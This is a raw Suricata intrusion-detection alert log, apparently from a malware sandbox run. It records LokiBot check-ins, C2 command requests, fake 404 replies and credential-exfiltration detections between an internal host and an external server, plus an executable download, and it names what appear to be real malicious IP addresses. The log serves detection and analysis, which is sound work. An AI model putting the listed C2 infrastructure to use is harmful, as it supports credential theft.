Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49746 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49737 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49737 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49748 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49742 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49734 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49734 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 66.63.187.231:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49734 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49735 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49739 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49739 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49735 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49748 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49739 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49748 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49740
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49746 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49746 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49735 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.4:49734 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49746
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49737 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49739 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49737 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49739 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49754 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49742
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49748 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49748 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49750 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49750 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49750 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49754 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49754 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.4:49735 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49754 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49754 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49739
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49753 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49753 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49753 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49750 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49750 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58491 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49753 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49755 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49748
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49760 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49752
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58492 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49755 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49755 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 66.63.187.231:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49762 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49762 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49762 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49753 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49762 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49760 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58491 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49762 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49760 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58492 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58492 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58503 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58503 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58498 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58498 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49760 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58492 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49760 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58492 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49757 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58491 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49757 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49757 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49760
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58500 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58504 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58504 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58503 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58504 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58499 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58498 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58507 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49755 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58491 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58491 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58505 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58503 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58503 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58511 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58513 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58513 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58513 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58500 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49757 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58500 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49762
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49755 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58513 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58505 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49759 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58508 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58509 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49759 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58509 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58515 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58503
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58509 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58492
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58498 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58513 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58511 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58498 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58505 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58518 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58499 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49751 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58499 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49751 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58515 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58515 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49757 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58500 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58508 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58512 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49750
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58499 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58507 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58507 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58504 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58504 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58507 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58504
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58507 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49758 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58509 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58509 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58507
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58509
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58516 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58513
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58518 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49751 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58500 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49751 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58505 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58508 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58515 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58499 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49757
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58491
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49758 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49758 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58508 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58530 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49758 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58518 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58530 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58514 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58514 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58514 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58498
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49759 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58505 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58514 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58512 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58500
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58559 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58516 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58516 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58493 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58511 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58530 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58511 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58518 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58518 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58516 -> 94.156.177.41:80
